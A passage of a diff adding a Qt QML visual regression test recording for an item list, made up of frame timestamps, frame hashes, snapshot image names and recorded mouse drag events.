+ hash: "5fbefbd7c7be4374382cc4c8b86ac78a" + } + Frame { + msec: 1840 + hash: "d6a544c622e504c1b931e1a8a1310a6e" + } + Frame { + msec: 1856 + hash: "20e76f0eb4ec5f691999faf8ad313370" + } + Frame { + msec: 1872 + hash: "7f84a3545907c754ae8a6a30ef61c98d" + } + Frame { + msec: 1888 + hash: "b544901eae32903ad054e8cdfed715eb" + } + Frame { + msec: 1904 + hash: "a010ed1e3312f4ca9f429b7e32cdcef9" + } + Frame { + msec: 1920 + image: "itemlist.1.png" + } + Frame { + msec: 1936 + hash: "93a731dc6f71b6ff5400bf74c87e6c46" + } + Frame { + msec: 1952 + hash: "c73f63d1a024ba956e693487b3ccc761" + } + Frame { + msec: 1968 + hash: "539d3d00fce2d0128cd697d86d237fe7" + } + Frame { + msec: 1984 + hash: "52752d7d6f2d0e085f7132313907b72b" + } + Frame { + msec: 2000 + hash: "f46dd5803a6075e979e0fc733d503bfb" + } + Frame { + msec: 2016 + hash: "b8734698a6bad00ecf019f85328c2c21" + } + Frame { + msec: 2032 + hash: "1cfc499ca756023430cc5b2fa95a599d" + } + Frame { + msec: 2048 + hash: "63a816548837c19f8f0494c137fc0174" + } + Frame { + msec: 2064 + hash: "1bce9b85235e9a1a472c079dfec70ec5" + } + Frame { + msec: 2080 + hash: "6677863e7f74c12648409883f73adbe2" + } + Frame { + msec: 2096 + hash: "98e707a3e39a5f7bd4a101c2ed83535c" + } + Frame { + msec: 2112 + hash: "c1f6d8842d14a9394d4b7797314f50e8" + } + Frame { + msec: 2128 + hash: "579758b477bcd2112b305a5aac7df338" + } + Frame { + msec: 2144 + hash: "4a7bb81090db246db53e2dbc56f710ea" + } + Frame { + msec: 2160 + hash: "074995cdd8a70817d1c8a7bb0ad4c542" + } + Frame { + msec: 2176 + hash: "bd8d7bda4d2e9ad1fba2895d568f36cc" + } + Frame { + msec: 2192 + hash: "40cce3d2d80ac470af44fc334cec1d5b" + } + Frame { + msec: 2208 + hash: "15cbc226b032d5a97199735ea7a1408b" + } + Frame { + msec: 2224 + hash: "12b296aea9b058a5402d0d0a620f8edc" + } + Frame { + msec: 2240 + hash: "6ffd2b79cf0e941a59e74bc6f9025bcb" + } + Frame { + msec: 2256 + hash: "589a58ef76ea709dc8d80390c9044f99" + } + Frame { + msec: 2272 + hash: "c009924bfa30153f22ab168b539494e9" + } + Frame { + msec: 2288 + hash: "4b83674a7c2daa68d735901ad40be2bd" + } + Frame { + msec: 2304 + hash: "0525908c0302ada989e28990bac3f2ca" + } + Frame { + msec: 2320 + hash: "89eb13976ba3ba4413cafeb0cc91c01b" + } + Frame { + msec: 2336 + hash: "75c1295ef99680784b2e11fb88fa1423" + } + Frame { + msec: 2352 + hash: "93d89165cf6a97c76ae6e7f75678a3cd" + } + Frame { + msec: 2368 + hash: "53064c1938f08a55603a99b0db225174" + } + Frame { + msec: 2384 + hash: "31db5684466c0c32128a9a8c7b1835e1" + } + Frame { + msec: 2400 + hash: "99d9e58697736198e0a00443d237e85b" + } + Frame { + msec: 2416 + hash: "6c1e860aef983367365d53f5849ad441" + } + Frame { + msec: 2432 + hash: "6c1e860aef983367365d53f5849ad441" + } + Frame { + msec: 2448 + hash: "6c1e860aef983367365d53f5849ad441" + } + Frame { + msec: 2464 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2480 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2496 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2512 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2528 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2544 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2560 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2576 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2592 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2608 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2624 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2640 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2656 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2672 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2688 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2704 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2720 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2736 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2752 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2768 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2784 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2800 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2816 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2832 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2848 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2864 + hash: "99f9988040a389576cb6420b5391f768" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 181; y: 104 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2880 + image: "itemlist.2.png" + } + Frame { + msec: 2896 + hash: "99f9988040a389576cb6420b5391f768" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 179; y: 105 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 177; y: 106 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2912 + hash: "99f9988040a389576cb6420b5391f768" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 174; y: 108 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 170; y: 110 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2928 + hash: "5bb06b4e74532ba5bc8c7bc38bf77d7f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 166; y: 112 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 160; y: 115 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2944 + hash: "b10a6206830a876017799ef2fcf61b1a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 154; y: 117 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 140; y: 123 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2960 + hash: "b2e24759ba10afd6cff90f4b1e04b496" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 124; y: 127 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 124; y: 127 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2976 + hash: "ccbcd6f45cb529c2db71504c0f69d73e" + } + Frame { + msec: 2992 + hash: "7b31c6d5931677f1aa1e8c7d48a4ff22" + } + Frame { + msec: 3008 + hash: "c52f691a0a6cf155118bdfea2dfea623" + } + Frame { + msec: 3024 + hash: "dd639d1df3d4a9b8f06718def63d588f" + } + Frame { + msec: 3040 + hash: "39d767b09a648ef6295cec2848f9226f" + } + Frame { + msec: 3056 + hash: "5dd46d5f386431e7b13348ac9a9630ed" + } + Frame { + msec: 3072 + hash: "0354e5183b0e66e7ba146d292c559df4" + } + Frame { + msec: 3088 + hash: "984aa6d7075e24de429e05b1b0eda94a" + } + Frame { + msec: 3104 + hash: "1af58a2f44f1f613712d4df85e38356d" + } + Frame { + msec: 3120 + hash: "6e4085e7f1fee724d78808753f04b471" + } + Frame { + msec: 3136 + hash: "73a019ef9057639d631cd99a431b3f3b" + } + Frame { + msec: 3152 + hash: "c9414a2e655a90dfdcb6fb288b4ba0ca" + } + Frame { + msec: 3168 + hash: "3f4c24f7ac89da982af22032309637fb" + } + Frame { + msec: 3184 + hash: "a50e6ada8f73a257657f4348ceaffcfd" + } + Frame { + msec: 3200 + hash: "a67bf40d09259bbd079c12ae4f49150f" + } + Frame { + msec: 3216 + hash: "a2fc512b7c234a9d0b2c1a83387a8a46" + } + Frame { + msec: 3232 + hash: "85090683ce9a3c9833b1cb0b3df076ee" + } + Frame { + msec: 3248 + hash: "275f3594a0e2cc4b6717f9f336e7e1b6" + } + Frame { + msec: 3264 + hash: "2473eb11f7b65a784a2b166114026488" + } + Frame { + msec: 3280 + hash: "4865c30dc45fbf5ca82047b77eca0912" + } + Frame { + msec: 3296 + hash: "54de88bca395449fbaea2c090c7a5d91" + } + Frame { + msec: 3312 + hash: "833f9295cf9a34934f001eac48551b59" + } + Frame { + msec: 3328 + hash: "5bf565f57ababa7380faeee94add91ca" + } + Frame { + msec: 3344 + hash: "6325578867f1eb3b2d47ed40b017b571" + } + Frame { + msec: 3360 + hash: "046a6114176b3a3206b7a2acd6e30b41" + } + Frame { + msec: 3376 + hash: "f8d4120a17f28c2d1d9c4be959098058" + } + Frame { + msec: 3392 + hash: "71356d2e48aad2900784ea6bc1a3d908" + } + Frame { + msec: 3408 + hash: "b84ad460fb81fdc4049abe8f3ff180bb" + } + Frame { + msec: 3424 + hash: "0354239f5eaea23474d9f81385392a8a" + } + Frame { + msec: 3440 + hash: "8ef0eef3393e07ae7605c865a95edc30" + } + Frame { + msec: 3456 + hash: "5b8b384cc8e3faf4310015e19b3eb487" + } + Frame { + msec: 3472 + hash: "77c18ac7dfff2a4e516915e3e3df0717" + } + Frame { + msec: 3488 + hash: "c1d3264384c26345eb8100de829309ca" + } + Frame { + msec: 3504 + hash: "6b21f71d0bedef4bbcb445a13f61e7a3" + } + Frame { + msec: 3520 + hash: "f619097356671f6eb54d3b1c481e709d" + } + Frame { + msec: 3536 + hash: "e56e3a90da446e0c482cb93717f6aacc" + } + Frame { + msec: 3552 + hash: "aa94ebdbb4b8423aff28c95daff0baf5" + } + Frame { + msec: 3568 + hash: "e1744d9cacd1a2c96af4cfdd5c486995" + } + Frame { + msec: 3584 + hash: "7f19ea52e9e41a3b1bd90bb2a144d305" + } + Frame { + msec: 3600 + hash: "7f19ea52e9e41a3b1bd90bb2a144d305" + } + Frame { + msec: 3616 + hash: "7f19ea52e9e41a3b1bd90bb2a144d305" + } + Frame { + msec: 3632 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3648 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3664 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3680 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3696 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3712 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3728 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3744 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3760 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3776 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3792 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3808 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3824 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3840 + image: "itemlist.3.png" + } + Frame { + msec: 3856 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3872 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3888 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3904 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3920 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3936 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3952 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3968 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3984 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 4000 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 4016 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 4032 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 4048 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 4064 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 4080 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 4096 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 31; y: 137 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4112 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 32; y: 137 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4128 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 33; y: 136 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 36; y: 135 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4144 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 40; y: 134 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 46; y: 132 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4160 + hash: "c2c9c284b185a89faf4ddb5a7867f449" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 64; y: 130 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4176 + hash: "de1c18aeda5d2fbd6dad4554c78617bd" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 86; y: 126 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 110; y: 118 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 110; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4192 + hash: "a67bf40d09259bbd079c12ae4f49150f" + } + Frame { + msec: 4208 + hash: "94514668dafbe41c5890a578efd6dea4" + } + Frame { + msec: 4224 + hash: "2e97a74eb9ddb1c9613c89e2d78db018" + } + Frame { + msec: 4240 + hash: "4b5368f0d86bffeb6bd31b58aec88650" + } + Frame { + msec: 4256 + hash: "b459bde7bb4ce51e6ecdab58f64fcbb9" + } + Frame { + msec: 4272 + hash: "7bac8cc3ec64c9ad1c0da282e38c953e" + } + Frame { + msec: 4288 + hash: "a73a58c3d7a757547740a2a161f4c756" + } + Frame { + msec: 4304 + hash: "b35edcb1fa3568a3e770ab2364b82e75" + } + Frame { + msec: 4320 + hash: "d6c863ef57c5e5cb04cdac72f920db0b" + } + Frame { + msec: 4336 + hash: "0db5e4588ff851918b07796f0cf07382" + } + Frame { + msec: 4352 + hash: "71ec8c363ca6a6f7556afb70faccffe6" + } + Frame { + msec: 4368 + hash: "18d026e9c965ada1db67c643576d2a80" + } + Frame { + msec: 4384 + hash: "69f71c22dff981a4da8ec1edcf90e79f" + } + Frame { + msec: 4400 + hash: "680460f5e4d9e649931601041af046b2" + } + Frame { + msec: 4416 + hash: "3028763fd15de2607b20b1331b904a4a" + } + Frame { + msec: 4432 + hash: "333eb60e217fe1ea7469eab52ac461f1" + } + Frame { + msec: 4448 + hash: "ccbcd6f45cb529c2db71504c0f69d73e" + } + Frame { + msec: 4464 + hash: "3445df9b41a0a3e74738cbf328ab7d5c" + } + Frame { + msec: 4480 + hash: "bd2c072558479e9de7a97207e58cc57f" + } + Frame { + msec: 4496 + hash: "3d34b0b24a30eda93377dcb4585afed8" + } + Frame { + msec: 4512 + hash: "d3045703863b0c5a327b9355c23d69f2" + } + Frame { + msec: 4528 + hash: "2f2eb55f693415b840a317211b250e9f" + } + Frame { + msec: 4544 + hash: "791b9ca7d47a3343474c30a35e336d4b" + } + Frame { + msec: 4560 + hash: "73a0c02ebad6d3d5f939d9a00dd898bf" + } + Frame { + msec: 4576 + hash: "d5c11135d586711b12f236430a2c2795" + } + Frame { + msec: 4592 + hash: "34f9ea214fe714ff4e994f715ea6ea39" + } + Frame { + msec: 4608 + hash: "8e49afa00983b156b818533923fb6edd" + } + Frame { + msec: 4624 + hash: "e7e7bef17cee92eca9191fd734d7a577" + } + Frame { + msec: 4640 + hash: "e407f6ed7cb3c130365ab5515d6308c0" + } + Frame { + msec: 4656 + hash: "5bb06b4e74532ba5bc8c7bc38bf77d7f" + } + Frame { + msec: 4672 + hash: "0ad7411316031e22034c14e81ca3a806" + } + Frame { + msec: 4688 + hash: "dd81d7a9b48c922b4c42cba1b5f2b9d7" + } + Frame { + msec: 4704 + hash: "32bef6f5005ad94e29ff59165958fbdc" + } + Frame { + msec: 4720 + hash: "87758dd311f91193bf1e3536c2f58525" + } + Frame { + msec: 4736 + hash: "015be92a4ff4e735fcc3cbc7a8b9d763" + } + Frame { + msec: 4752 + hash: "d4c34ed49317c6692d71681fcd9842b6" + } + Frame { + msec: 4768 + hash: "abaa235bb946a8abaddd52981d632c2d" + } + Frame { + msec: 4784 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 4800 + image: "itemlist.4.png" + } + Frame { + msec: 4816 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 4832 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 4848 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 4864 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 4880 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 4896 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 4912 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 4928 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 4944 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 4960 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 4976 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 4992 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 5008 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 5024 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 5040 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 5056 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 5072 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 5088 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 5104 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 5120 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 5136 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 5152 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 5168 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 5184 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 5200 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 5216 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 5232 + hash: "99f9988040a389576cb6420b5391f768" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 17; y: 120 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5248 + hash: "99f9988040a389576cb6420b5391f768" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 19; y: 120 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 21; y: 120 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5264 + hash: "99f9988040a389576cb6420b5391f768" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 24; y: 119 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 28; y: 119 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5280 + hash: "95b380c9ab6f8db7b822faf023d94546" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 35; y: 119 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 44; y: 119 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5296 + hash: "bb79e53556698c62ec30c75be9f6b7d7" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 70; y: 119 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 96; y: 117 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 96; y: 117 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5312 + hash: "285cc2f0df1f59f25a0135560ab6edf2" + } + Frame { + msec: 5328 + hash: "93a731dc6f71b6ff5400bf74c87e6c46" + } + Frame { + msec: 5344 + hash: "eb555741ab128a50de5a18a454f2e639" + } + Frame { + msec: 5360 + hash: "5dbe6cf898c1e37fcaacecfcf57b2194" + } + Frame { + msec: 5376 + hash: "e7795610115593e78bb32f7bcc0ae2eb" + } + Frame { + msec: 5392 + hash: "20e76f0eb4ec5f691999faf8ad313370" + } + Frame { + msec: 5408 + hash: "d6a544c622e504c1b931e1a8a1310a6e" + } + Frame { + msec: 5424 + hash: "e7a3a21feed244c5b1c710a9254c15f0" + } + Frame { + msec: 5440 + hash: "5a4b1aca24f121d1373646e9d80b86fd" + } + Frame { + msec: 5456 + hash: "331d2ec7021655c86aa64e47718a1088" + } + Frame { + msec: 5472 + hash: "92096bc872e7395aa5b75c44646a0b60" + } + Frame { + msec: 5488 + hash: "0d9aa6cee4d21488cbb5153f8f3ed593" + } + Frame { + msec: 5504 + hash: "c1b943d43701605563fffffcb75f9fa7" + } + Frame { + msec: 5520 + hash: "1b680025d5ad1ddd8f8d5f570ba73e71" + } + Frame { + msec: 5536 + hash: "5539a3b9f60ea747c10ed8328b467cbf" + } + Frame { + msec: 5552 + hash: "0a1317bcb606cd3488c5b14ee5d96585" + } + Frame { + msec: 5568 + hash: "8844af68b11db7d92c69804c7371a746" + } + Frame { + msec: 5584 + hash: "28d7fd127739c6e3b8488651b725c802" + } + Frame { + msec: 5600 + hash: "0cf1a7d958a96aa2768995dddc5ccc09" + } + Frame { + msec: 5616 + hash: "64b902fe7ab4d89ef0c7b760974e3488" + } + Frame { + msec: 5632 + hash: "aba11c597eba550fc1eaddbf554057f6" + } + Frame { + msec: 5648 + hash: "1bacaa3bb9dc3cac9ffc7491cb4dc1a5" + } + Frame { + msec: 5664 + hash: "0ba8b582234d9f0c198c0c9e18e1cb02" + } + Frame { + msec: 5680 + hash: "f66eaf2b5c3529987c0d9d005351ed73" + } + Frame { + msec: 5696 + hash: "75b0bb720fa4c77da3783b3ff31c2fae" + } + Frame { + msec: 5712 + hash: "345b235bb7f13409378e5c0c370f2a41" + } + Frame { + msec: 5728 + hash: "83b7e902dce4e0fdc4ef5d629188c23c" + } + Frame { + msec: 5744 + hash: "04b9041c6f10969889d92e94785c7e88" + } + Frame { + msec: 5760 + image: "itemlist.5.png" + } + Frame { + msec: 5776 + hash: "4f3a902addc34ecdaf390e2427cc52e7" + } + Frame { + msec: 5792 + hash: "68d443f16c16821ffc9ca68b17c76034" + } + Frame { + msec: 5808 + hash: "9d25adc77befa761ee376a9b43595b5e" + } + Frame { + msec: 5824 + hash: "a68b1bc6c2963ee92c3a45f500667b3b" + } + Frame { + msec: 5840 + hash: "d5268cd58c222451d48038e715e83802" + } + Frame { + msec: 5856 + hash: "f37d461541a8ec7a4161b18748de6aea" + } + Frame { + msec: 5872 + hash: "805319ac7ca842feb3649e92f8b5b72f" + } + Frame { + msec: 5888 + hash: "73124472a05080891d4948d8ca273f8c" + } + Frame { + msec: 5904 + hash: "b6e433a23282a50db2e165a2447ba3f6" + } + Frame { + msec: 5920 + hash: "fd8d3f5688b1806998c6087e18c6c730" + } + Frame { + msec: 5936 + hash: "f132dd459950ef2d18aa93ca950d0692" + } + Frame { + msec: 5952 + hash: "ade5beb259b5277c333ca806fc9bdbec" + } + Frame { + msec: 5968 + hash: "ade5beb259b5277c333ca806fc9bdbec" + } + Frame { + msec: 5984 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6000 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6016 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6032 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6048 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6064 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6080 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6096 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6112 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6128 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6144 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6160 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6176 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6192 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6208 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6224 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6240 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6256 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6272 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6288 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6304 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6320 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6336 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6352 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6368 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6384 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6400 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6416 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6432 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6448 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6464 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6480 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6496 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6512 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6528 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6544 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6560 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6576 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6592 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6608 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6624 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6640 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6656 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6672 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6688 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6704 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6720 + image: "itemlist.6.png" + } + Frame { + msec: 6736 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6752 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6768 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6784 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6800 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6816 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6832 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6848 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6864 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6880 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6896 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6912 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6928 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 6944 + hash: 